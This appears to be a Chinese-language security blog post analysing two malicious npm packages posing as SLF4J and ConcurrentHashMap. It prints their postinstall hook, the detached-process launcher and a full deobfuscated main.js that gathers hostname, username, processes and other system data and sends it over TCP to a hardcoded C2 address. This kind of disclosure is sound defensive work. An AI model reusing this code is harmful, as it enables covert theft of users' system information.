目录
今天我们发现了 slf4j-api-js 和 concurrent-hashmap 这两个恶意 npm 包,它们分别伪装成流行的 Java 日志框架 SLF4J 和 ConcurrentHashMap。虽然有效载荷看起来并不复杂,但相比我们之前看到的仍有所改进。具体来说,该有效载荷执行以下操作:
- 通过 npm post-install 脚本 生成子进程
- 安装后保持驻留
- 收集系统信息并发送到 C2 服务器
调查
我们决定深入分析 [email protected] 以识别恶意行为。package.json 是我们从 分析 5000+ 恶意包 中看到的最常见攻击向量。对于此样本,package.json 包含一个 postinstall 脚本
{
"name": "slf4j-api-js",
"version": "1.0.0",
"description": "A npm package to dynamically set log levels at runtime with SLF4J-like functionality for JavaScript applications.",
"main": "main.js",
"scripts": {
"postinstall": "node src/postinstall.js"
},
"keywords": ["logging", "slf4j", "runtime", "log-level", "javascript"],
"license": "MIT"
}接下来我们查看了 src/postinstall.js 以了解安装过程中执行的代码行为。恶意行为的主要特征包括:
- 通过
npm post-install script生成子进程以在安装后保持驻留 - 从与实际有效载荷相同的目录执行
main.js
const { spawn } = require('child_process');
const path = require('path');
// ...
const mainFilePath = path.resolve(__dirname, '创建文件夹:slf4j-api-js/src/main.js');
const child = spawn('node', [mainFilePath], {
detached: true,
stdio: 'ignore',
});
child.unref();
// ...有趣的是,非英文字符导致包安装在基于 Linux 的系统上时产生无效路径,从而导致 main.js 有效载荷执行失败。
接下来我们查看了 src/main.js,它使用了基本的字符串混淆,可能旨在规避基于签名的检测系统。这确实绕过了我们基于 YARA Forge 的规则匹配系统,但被我们的静态代码分析引擎捕获,该引擎会查找代码能力,如网络通信、文件系统访问等。
const _teg7m59w=require('os'),_n9acweg2=require('net')
// ...
const _xqanthql='8.152.163.60',_4apogc7a=8058;
// ...
function _ahr17bwh(){try{let a='';a=_teg7m59w.platform()==='win32'?'tasklist /nh /fo csv':'ps aux';}}虽然代码经过混淆,但命令字符串未被混淆,这使得预期的有效载荷容易暴露。例如,以下代码根据操作系统确定屏幕分辨率。
function _wpggtu79() {
try {
if (_teg7m59w.platform() === 'win32') {
const a = _grjt11kr(
'wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:value'
).toString(),
b = a.split('\n'),
c = {};
return (
b.forEach((d) => {
d.includes('CurrentHorizontalResolution')
? (c.width = parseInt(d.split('=')[1].trim(), 10))
: d.includes('CurrentVerticalResolution') && (c.height = parseInt(d.split('=')[1].trim(), 10));
}),
c.width && c.height ? c.width + 'x' + c.height : 'N/A'
);
} else if (_teg7m59w.platform() === 'linux') {
const a = _grjt11kr("xrandr --current | grep \\* | uniq | awk '{print $1}'").toString();
return a.trim() || 'N/A (Linux/No X)';
} else if (_teg7m59w.platform() === 'darwin') {
const a = _grjt11kr('system_profiler SPDisplaysDataType | grep Resolution | awk \'{print $2"x"$4}\'').toString();
return a.trim() || 'N/A (macOS)';
}
return 'N/A (不支持的操作系统或无头环境)';
} catch (a) {
return 'N/A (错误)';
}
}混淆前的代码已提供在妥协指标 (IOC) 部分。main.js 的整体分析表明,它主要是一个信息收集有效载荷,收集以下内容:
- 屏幕分辨率
- 系统语言环境
- 运行中的进程
- 系统信息
自动化分析
虽然分析过程很简单,但我们决定将我们的 SafeDep 云包扫描服务 作为 MCP 服务器与 Claude Desktop 连接,以自动化分析过程。主要是为了测试和验证我们自动化分析系统的有效性。
如果您受到影响该怎么办?
- 使用
npm remove slf4j-api-js删除该包
对于关键系统,我们建议应将系统视为已受感染,并启动适当的事件响应流程。
SafeDep 能提供什么帮助?
我们的免费开源工具 vet 与 SafeDep 云包扫描服务集成,可用于在安装前检测恶意包。vet-action 是一个 GitHub Action,可用于在您的 GitHub Actions 工作流中建立主动防护措施,抵御恶意开源包。
妥协指标 (IOC)
- 命令与控制 (C2) 服务器 IP 地址:
8.152.163.60
混淆前的 main.js
// Import required Node.js modules
const os = require('os');
const net = require('net');
const { execSync } = require('child_process');
// Hardcoded remote command and control (C2) server information
const C2_SERVER_IP = '8.152.163.60';
const C2_SERVER_PORT = 8058;
/**
* Detects screen resolution based on operating system
* Uses different commands depending on whether running on Windows, Linux, or macOS
* @returns {string} Screen resolution in format "widthxheight" or "N/A" if detection fails
*/
function getScreenResolution() {
try {
// For Windows systems
if (os.platform() === 'win32') {
const cmdOutput = execSync(
'wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:value'
).toString();
const outputLines = cmdOutput.split('\n');
const resolution = {};
// Parse the command output to extract width and height
outputLines.forEach((line) => {
if (line.includes('CurrentHorizontalResolution')) {
resolution.width = parseInt(line.split('=')[1].trim(), 10);
} else if (line.includes('CurrentVerticalResolution')) {
resolution.height = parseInt(line.split('=')[1].trim(), 10);
}
});
// Return resolution in standard format if detected
return resolution.width && resolution.height ? resolution.width + 'x' + resolution.height : 'N/A';
}
// For Linux systems
else if (os.platform() === 'linux') {
const cmdOutput = execSync("xrandr --current | grep \\* | uniq | awk '{print $1}'").toString();
return cmdOutput.trim() || 'N/A (Linux/No X)';
}
// For macOS systems
else if (os.platform() === 'darwin') {
const cmdOutput = execSync(
'system_profiler SPDisplaysDataType | grep Resolution | awk \'{print $2"x"$4}\''
).toString();
return cmdOutput.trim() || 'N/A (macOS)';
}
// For unsupported operating systems
return 'N/A (Unsupported operating system or headless environment)';
} catch (error) {
return 'N/A (Error)';
}
}
/**
* Detects system locale settings
* Uses browser-like APIs first, then falls back to environment variables
* @returns {string} The detected locale or "N/A" if detection fails
*/
function getSystemLocale() {
try {
// Try to get locale from Intl API (similar to browser behavior)
return Intl.DateTimeFormat().resolvedOptions().locale;
} catch (error) {
// Fallback to environment variables if Intl API fails
return process.env.LANG || process.env.LC_ALL || process.env.LC_MESSAGES || 'N/A';
}
}
/**
* Scans running processes to detect browsers and office applications
* Uses different commands for Windows vs Unix-like systems
* @returns {object} Process information including count and detection flags
*/
function scanRunningProcesses() {
try {
// Choose the appropriate command based on OS
let command = '';
command = os.platform() === 'win32' ? 'tasklist /nh /fo csv' : 'ps aux';
// Execute the command to list processes
const cmdOutput = execSync(command, {
timeout: 5000,
encoding: 'utf8',
});
const processLines = cmdOutput.trim().split('\n');
// Return process data with flags for specific application types
return {
count: processLines.length,
hasBrowser: /chrome|firefox|msedge|safari/i.test(cmdOutput),
hasOffice: /winword|excel|powerpnt|soffice/i.test(cmdOutput),
};
} catch (error) {
return {
count: -1,
error: error.message,
};
}
}
/**
* Collects comprehensive system information
* Gathers hardware, OS, and user data to create a system profile
*/
function collectSystemData() {
// Record start time for performance measurement
const startTime = Date.now();
// Gather basic OS and hardware information
const osType = os.platform();
const osRelease = os.release();
const osVersion = os.version();
const architecture = os.arch();
const hostName = os.hostname();
const uptime = os.uptime();
const userInfo = os.userInfo();
const totalMemory = os.totalmem();
const freeMemory = os.freemem();
const cpuInfo = os.cpus();
// Gather additional information using helper functions
const screenResolution = getScreenResolution();
const locale = getSystemLocale();
const processInfo = scanRunningProcesses();
const isTTY = process.stdout.isTTY;
// Unique identifier/flag for this version of the malware
const malwareFlag = 'dv2-7';
// Assemble all collected data into a structured format
const systemProfile = {
flag: malwareFlag,
basic: {
osType: osType,
arch: architecture,
},
detailed: {
osRelease: osRelease,
osVersion: osVersion,
hostname: hostName,
uptime: uptime,
username: userInfo.username,
homedir: userInfo.homedir,
shell: userInfo.shell,
totalMemory: totalMemory,
freeMemory: freeMemory,
cpuCount: cpuInfo.length,
cpuModel: cpuInfo.length > 0 ? cpuInfo[0].model : 'N/A',
screenResolution: screenResolution,
locale: locale,
processes: processInfo,
isInteractive: isTTY,
},
};
// Calculate execution time and add to payload
const endTime = Date.now();
systemProfile.executionDurationMs = endTime - startTime;
// Send the collected data to the C2 server
sendDataToC2Server(JSON.stringify(systemProfile));
}
/**
* Sends collected data to the command and control server
* Uses raw TCP socket connection
* @param {string} data - JSON string containing system information
*/
function sendDataToC2Server(data) {
// Create a new TCP socket
const socket = new net.Socket();
// Connect to the remote C2 server
socket.connect(C2_SERVER_PORT, C2_SERVER_IP, () => {
// Send the collected data once connected
socket.write(data);
});
// Handle responses (destroys connection after receiving any data)
socket.on('data', (response) => {
socket.destroy();
});
// Empty error handler (suppresses errors)
socket.on('error', (error) => {
// Intentionally empty to hide connection errors
});
// Empty close handler
socket.on('close', () => {
// Intentionally empty
});
}
// Start the data collection and exfiltration process
collectSystemData();- vet
- cloud
- malware
SafeDep 博客最新动态
关注以获取开源安全与工程方面的最新更新和见解